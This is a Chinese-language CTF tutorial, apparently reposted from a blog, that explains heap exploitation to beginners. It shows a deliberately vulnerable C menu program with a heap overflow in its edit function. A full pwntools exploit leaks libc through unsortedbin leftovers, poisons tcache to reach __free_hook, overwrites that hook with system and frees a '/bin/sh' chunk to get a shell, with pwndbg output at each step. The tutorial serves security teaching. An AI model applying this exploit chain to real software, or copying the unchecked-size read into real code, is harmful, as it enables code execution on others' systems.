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关于“堆”题的总体思路

来源：博客园

浅说一下pwn堆，并用一个简单的例子具体说明，给刚入坑堆的小朋友说的一些思路。


(资料图)

堆是什么

堆，你可以看成一个结构体数组，然后数组里每个元素都会开辟一块内存来存储数据，那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上，其内容就是堆的地址，也就是堆的指针。

堆的理解

堆有很多题型 什么堆溢出，off by null , uaf 等。

核心的话主要是学思想，所有人都知道我要得到shell，cat flag。但是要怎么去干得有个过程，

比如我们做栈题，很容易知道我要劫持栈的返回去执行任意地址，填入shellcode什么的。

堆的话也是一样。

就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。

所以堆到底要怎么去执行。

我们可以把某一个函数的内容改成system，下次调用该函数即是使用system，

再在别的堆里面放入/bin/sh字符串，然后再用刚刚修改的函数，使用已经放入字符串的堆。

即可执行system(/bin/sh)了

一般修改__free_hook，使其内容变成system然后再free掉放有/bin/sh的堆

举例说明

我用一个很简单的例子去一步一步简单剖析。

这里我用一个很简单的例子去一步一步简单剖析。

先给出源码和gcc编译，使用的是Ubuntu18

gcc -o lizi lizi.c
#include#includechar *heap[0x20];int num=0;void create(){    if(num>=0x20)    {        puts("no more");        return;    }    int size;    puts("how big");    scanf("%d",&size);    heap[num]=(char *)malloc(size);    num++;}void show(){ int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {  printf("Content:");  printf("%s",heap[idx]);  }}void dele(){ int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {    free(heap[idx]);    heap[idx]=NULL;    num--;  }}void edit(){ int size; int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {    puts("how big u read");    scanf("%d",&size);    puts("Content:");    read(0,heap[idx],size);  }}void menu(void){    puts("1.create");    puts("2.dele");    puts("3.edit");    puts("4.show");}void main(){    int choice;    while(1)    {        menu();        scanf("%d",&choice);        switch(choice)        {            case 1:create();break;            case 2:dele();break;            case 3:edit();break;            case 4:show();break;            default:puts("error");        }    }}

我们也不用ida了，直接源码分析，很明显在edit处能知道我们可以修改堆大小，

而导致的堆溢出修改下一个堆。

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我们可以直接使用unsortedbin，申请较大的堆，再free掉，再申请个小堆，

使其从unsortedbin里面切割堆，这样，你申请的小堆就会有一些unsortedbin里面的东西。

（具体请看unsortedbin介绍）

结合exp介绍：

from pwn import *r=process("./lizi")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")context.log_level="debug"def add(size):    r.sendlineafter("4.show\n","1")    r.sendlineafter("idx\n",str(size))​def dele(idx):    r.sendlineafter("4.show\n","2")    r.sendlineafter("idx\n",str(idx))​def edit(idx,size,con):    r.sendlineafter("4.show\n","3")    r.sendlineafter("idx\n",str(idx))    r.sendlineafter("how big u read\n",str(size))    r.sendafter("Content:\n",con)def show(idx):    r.sendlineafter("4.show\n","4")    r.sendlineafter("idx\n",str(idx))​add(0x420)add(0x420)add(0x420)dele(1)​add(0x70)show(2)​r.recvuntil("Content:")base=u64(r.recv(6)+"\x00"*2)-0x3ec090print(hex(base))free=base+libc.sym["__free_hook"]sys=base+libc.sym["system"]​add(0x70)dele(3)​edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))​​add(0x70)add(0x70)edit(3,0x10,"/bin/sh\x00")edit(4,0x10,p64(sys))dele(3)​r.interactive()

首先菜单不用多说，很简单的交互，写好就行

然后申请3个堆，为了保证能进入unsortedbin，得大于tcache的大小，然后free掉1号堆

unsortedbinall: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0

可以看到1号堆已经进入到unsortedbin了

然后申请一个小堆

pwndbg> x/32gx 0x55697b2cfaa00x55697b2cfaa0: 0x0000000000000000  0x00000000000000810x55697b2cfab0: 0x00007fb8eada6090  0x00007fb8eada60900x55697b2cfac0: 0x000055697b2cfaa0  0x000055697b2cfaa00x55697b2cfad0: 0x0000000000000000  0x00000000000000000x55697b2cfae0: 0x0000000000000000  0x00000000000000000x55697b2cfaf0: 0x0000000000000000  0x00000000000000000x55697b2cfb00: 0x0000000000000000  0x00000000000000000x55697b2cfb10: 0x0000000000000000  0x00000000000000000x55697b2cfb20: 0x0000000000000000  0x00000000000003b10x55697b2cfb30: 0x00007fb8eada5ca0  0x00007fb8eada5ca00x55697b2cfb40: 0x0000000000000000  0x00000000000000000x55697b2cfb50: 0x0000000000000000  0x00000000000000000x55697b2cfb60: 0x0000000000000000  0x00000000000000000x55697b2cfb70: 0x0000000000000000  0x00000000000000000x55697b2cfb80: 0x0000000000000000  0x00000000000000000x55697b2cfb90: 0x0000000000000000  0x0000000000000000

查看申请堆的地址可以发现，11行处是已经之前free掉的1号堆，这个申请的堆会在unsortedbin里面切割

然后会有残留地址，然后我们把他show出来就可以计算一波libc地址了。

算出system,__free_hook的libc，

接着为什么要多申请一个堆，这里就是堆溢出的打法了，

在刚刚申请的堆后面再建一个堆，然后通过free掉修改内容指向__free_hook地址

再把内容改成system就可以把free当做system用了；

在edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点

GDB看看

pwndbg> bintcachebins0x80 [  1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0smallbinsemptylargebinsempty

会发现tcache里面已经有__free_hook了，因为已经把内容改成__free_hook的地址了。

然后申请2个堆，把tcache里面的__free_hook拿出来。

你也可以验证一下、

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA   0x55f37bb59000   0x55f37bb5a000 r-xp   1000 0 
pwndbg> x/32gx 0x5597ecced000+0x2020400x5597eceef040 :  0x00005597ee8ef680  0x00000000000000000x5597eceef050 :   0x00005597ee8efab0  0x00005597ee8efb300x5597eceef060 :   0x00007f7694f2e8e8  0x00000000000000000x5597eceef070 :   0x0000000000000000  0x0000000000000000

0x202040是heap的偏移，可以从ida里面找到。

申请出来的堆，__free_hook在4号堆

pwndbg> x/32gx 0x00007f7694f2e8e80x7f7694f2e8e8 <__free_hook>:   0x0000000000000000  0x00000000000000000x7f7694f2e8f8 :   0x0000000000000000  0x0000000000000000

成功证明，

然后已知4号堆是__free_hook了，那么将4号堆的内容改成system的地址，不就可以了吗

然后再把3号堆写入/bin/sh

然后free（实际上已经变成system）掉3号堆（实际上已经是/bin/sh）了

成功取得shell

总结

做堆题主要是要有一个总体想法就是要把什么变成system去执行shell，或者也有别的，比如malloc等。

这里只是一个总体思路，毕竟拿到堆题如果一条总想法都没有的话，就只能干坐着了。

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